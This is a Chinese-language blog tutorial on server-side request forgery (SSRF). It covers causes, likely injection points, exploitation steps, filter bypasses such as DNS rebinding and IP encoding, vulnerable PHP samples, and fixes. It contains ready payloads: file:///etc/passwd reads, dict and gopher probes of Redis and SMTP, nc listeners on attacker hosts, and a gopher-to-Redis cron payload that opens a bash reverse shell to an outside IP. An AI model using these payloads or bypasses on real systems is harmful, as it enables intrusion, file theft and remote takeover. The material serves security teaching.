SSRF漏洞

ssrf存在任何语言编写的应用中。

1|0SSRF原理及原因介绍

SSRF(server-site request forery,服务端请求伪造)是一种请求伪造,由服务器发起请求的安全漏洞。CSRF是客户端请求伪造,由客户端发起。

即让服务器去请求内网中资源,(因为外网访问不了内网的资源,目的就是获取内网中的资源)

原理:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

SSRF形成的原因:服务端提供了从其他服务器应用获取数据的功能且没有对目标的地址进行过滤和限制。比如从指定的url地址获取网页文本内容,加载指定地址的图片,下载等。

注释:除了http/https等方式可以造成ssrf,类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务,只不过危害比较小而已。

2|0SSRF与CSRF的区别

CSRF(client-site request forery客户端请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的cookie信息伪造用户请求发送至服务器;

SSRF(server-site request forery服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器。

3|0SSRF的危害

  1. 扫内网

  2. 向内部任意主机的任意端口发送精心构造的Payload

  3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

  4. 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)

  5. 使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件 通过dict协议获取服务器端口运行的服务:dict://127.0.0.1:80,通过file协议访问计算机中的任意文件:file:///etc/passwd sftp代表SSH文件传输协议,tftp即简单文件传输协议,允许客户端从远程主机获取文件(详细可以参看信安综合实验2SSRF漏洞实验报告)

4|0可能出现的地方

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

比如PHP中下面函数的使用不当会导致SSRF:

fsockopen() curl_exec() file_get_contents()

可以在以上漏洞出现的地方输入自己的url进行探测,比如可以借助burpsuite在url参数中输入自己的url,使得服务器去访问自己指定的url。

举几个例子: 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。

根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。

数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。

邮件系统就是接收邮件服务器地址这些地方。

文件就找ImageMagick,xml这些。

从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

5|0利用方式

1.让服务端去访问相应的网址,端口扫描 http://www.xxx.com/ssrf.php?u1=http://www.yy.com:3306

2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms

3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件 http://www.xxx.com/ssrf.php?u1=file:///var/www/html/index.php

4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})

5.攻击内网应用程序(利用跨协议通信技术)

6.判断内网主机是否存活:方法是访问看是否有端口开放

7.DoS攻击(请求大文件,始终保持连接keep-alive always)

6|0远程利用步骤

1 使用file协议读取文件 2 使用dict协议查看端口开放情况,当端口开放时会返回 Bad request 3 当端口未开放时:利用gopher协议反弹shell 或者限制了只能使用HTTP,HTTPS,设置跳转重定向为True(默认不跳转)即利用302跳转

7|0绕过SSRF过滤方式

注:参考[8]会有更详细的绕过方式总结

总述

  • DNSlog无回显注入,将payload添加到二级或者三级域名那里,然后受害者服务器会去请求DNS解析,DNS指向我们的NS服务器可以解析,然后这个带有我们想要数据的url来到我们的 ns(Nameserver)服务器进行解析,然后通过查看ns的日志,就可以看到我们想要的信息。

  • 各种其他协议:file:/// dict:// SFTP:// TFTP:// LDAP:// Gopher://

  • 在url中加@符号(http基础认证) ;加上#或?即可;利用封闭式字符数字ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com

  • 对IP地址进行各种进制的转换;点换成句号;

  • 利用302跳转(即利用DNS重定向) 192.168.0.1.xip.io 会重定向到192.168.0.1; 短链接

  • 修改"type=file"为"type=url" 比如: 上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

0 DNSLOG实现无回显注入

使用DNSLOG拯救你的盲打盲注

原理:就是,将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去,然后受害者服务器去解析此域名进行请求,我们就可以在我们的ns服务器的DNS解析日志来获取到它们。DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显 (将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。)

推荐使用http://www.dnslog.cn平台或者t00ls的DNSLOG平台, 如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:https://github.com/BugScanTeam/DNSLog 另外我们也可以使用在线平台:http://admin.dnslog.linkhttp://ceye.io

 

1.利用@ http://xxx.com@www.baidu.com/http://www.baidu.com/请求时是相同的,实际请求的是@之后的

2.各种IP地址的进制转换

 可以是十六进制,八进制等。 115.239.210.26 >>> 16373751032 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

 

3.加上#或?即可

3.URL跳转绕过:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/

4.短网址绕过(DNS重定向302) http://t.cn/RwbLKDx

5.xip.io来绕过(DNS重定向302):http://xxx.192.168.0.1.xip.io/ == 192.168.0.1 (xxx 任意) http://xip.io/

指向任意ip的域名:xip.io(37signals开发实现的定制DNS服务)

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP (2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证 (3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。 (4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

6.限制了子网段,可以加 :80 端口绕过。http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80

7.探测内网域名,或者将自己的域名解析到内网ip

8.例如 http://10.153.138.81/ts.php , 修复时容易出现的获取host时以/分割来确定host,

但这样可以用 http://abc@10.153.138.81/ 绕过

9、利用上传

 也不一定是上传,我也说不清,自己体会 -.- 修改"type=file""type=url" 比如: 上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

10、利用Enclosed alphanumerics

 利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳  ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇  ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛  ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵  Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ  ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ  ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴  ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

 11、利用句号

12、利用特殊地址

13、利用协议

 file:///  file protocol (任意文件读取)  curl -vvv 'file:///etc/passwd'  http://example.com/ssrf.php?url=file:///etc/passwd Dict://  dict://<user-auth>@<host>:<port>/d:<word>     # dict protocol (操作Redis)    curl -vvv 'dict://127.0.0.1:6379/info'    http://example.com/ssrf.php?dict://evil.com:1337/   ssrf.php?url=dict://attacker:11111/  attacker:$ nc -lvp 1337 SFTP://Sftp代表SSH文件传输协议(SSH File Transfer Protocol)或安全文件传输协议(Secure File Transfer Protocol)  ssrf.php?url=sftp://example.com:11111/  http://example.com/ssrf.php?url=sftp://evil.com:1337/   attacker:$ nc -lvp 1337 TFTP://  TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。  ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET  http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET   attacker:$ nc -lvp 1337 LDAP:// 或ldaps:// 或ldapi://   LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。  ssrf.php?url=ldap://localhost:11211/%0astats%0aquit  http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit ​ Gopher://  Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。  ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a  http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>  attacker:$ nc -lvp 1337    # gopher protocol (一键反弹Bash)    # * 注意: 链接使用单引号,避免$变量问题    curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

8|0SSRF漏洞代码分析

curl造成的SSRF

  • 漏洞代码testssrf.php(加了7 9行限制就只能是httphttps访问)

 <?php function curl($url){                 $ch = curl_init(); //初始化 一个curl会话    //curl_setopt()函数将为一个CURL会话设置选项,有很多参数,参数(int ch, string option, mixed value)。option参数是你想要的设置,value是这个选项给定的值。                 curl_setopt($ch, CURLOPT_URL, $url);      //CURLOPT_URL: 这是你想用PHP取回的URL地址。你也可以在用curl_init()函数初始化时设置这个选项。      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);  //限制为HTTP,HTTPS      curl_setopt($ch,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS);                 curl_setopt($ch, CURLOPT_HEADER, 0);     // CURLOPT_HEADER : 如果你想把一个头包含在输出中,输出到页面中,设置这个选项为一个非零值。        curl_setopt(.....)                    .....                 curl_exec($ch);    //执行一个curl会话                 curl_close($ch);   //关闭一个curl会话 } $url = $_GET['url']; curl($url); ?>

file_get_contents造成的SSRF获取文档数据

 //file_get_contents() 是获取文档数据 $url = $_GET['url']; echo file_get_contents($url); string = file_get_contents($url/"t.txt"); file_put_contents($url/"t.txt",string); //函数把一个字符串写入文件中。==fopen+fwrite+fclose //file_get_contents() 函数把整个文件读入一个字符串中。类似的file()函数则是将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。

fsockopen()造成的SSRF 初始化一个套接字连接到指定主机

 //fsockopen() 获取到的是指定url数据(文件[img video等]或html文档),是建立套接字传输原始数据 <?php function Getfile($host, $port, $link){     $fp = fsockopen($host, intval($port), $errno, $errstr, 30);     //类似$fp=fopen('data.txt', 'w'); 打开一个文件,     //fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ):初始化一个套接字连接到指定主机(hostname),返回一个文件句柄,可以被fgets(),fgetss(),fwrite(),fclose()还有feof()调用     //最后一个参数是连接时延     if(!$fp){         echo "$errstr (error number $errno) \n";    }else{         //如果连接成功,则发送get请求         $out = "GET $link HTTP/1.1\r\n";         $out .= "HOST $host \r\n";         $out .= "Connection: Close\r\n\r\n";         $out .= "\r\n";         fwrite($fp, $out);         //fwrite ( resource $handle , string $string [, int $length ] )将string写入到文件指针handle处         $content = '';         while(!feof($fp)){             //feof($fp);测试文件指针是否到了文件结束的位置。             $contents .= fgets($fp, 1024);             //fgets()从打开的文件中返回一行。一行一行的读取,存到$contents字符串中        }         fclose($fp);         return $contents;    } }

curl_exec()造成的SSRF 获得curl会话的结果

 //curl获取页面内容, 不直接输出例子: $url = 'http://www.jb51.net'$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//CURLOPT_RETURNTRANSFER使得curl_exec($ch)获取页面返回的内容,==作为变量存储,而不是直接输出==。 $response = curl_exec($ch); // 已经获取到内容,没有输出到页面上。 curl_close($ch); echo $response; file_put_contents('./1.txt',$response); //获取到的内容保存到文件中 ?>

9|0修复方法

  • 限制协议为http、https

  • 不用限制302重定向

  • 设置url白名单或者限制内网IP

10|0漏洞示例

1.Wordpress3.5.1以下版本 xmlrpc.php pingback的缺陷与ssrf

2.discuz!的ssrf (利用php的header函数来绕过,其实就是302跳转实现协议转换)

3.weblogic的ssrf


__EOF__

本文作者komomon
本文链接https://www.cnblogs.com/forforever/p/13099786.html
关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   komomon  阅读(2094)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示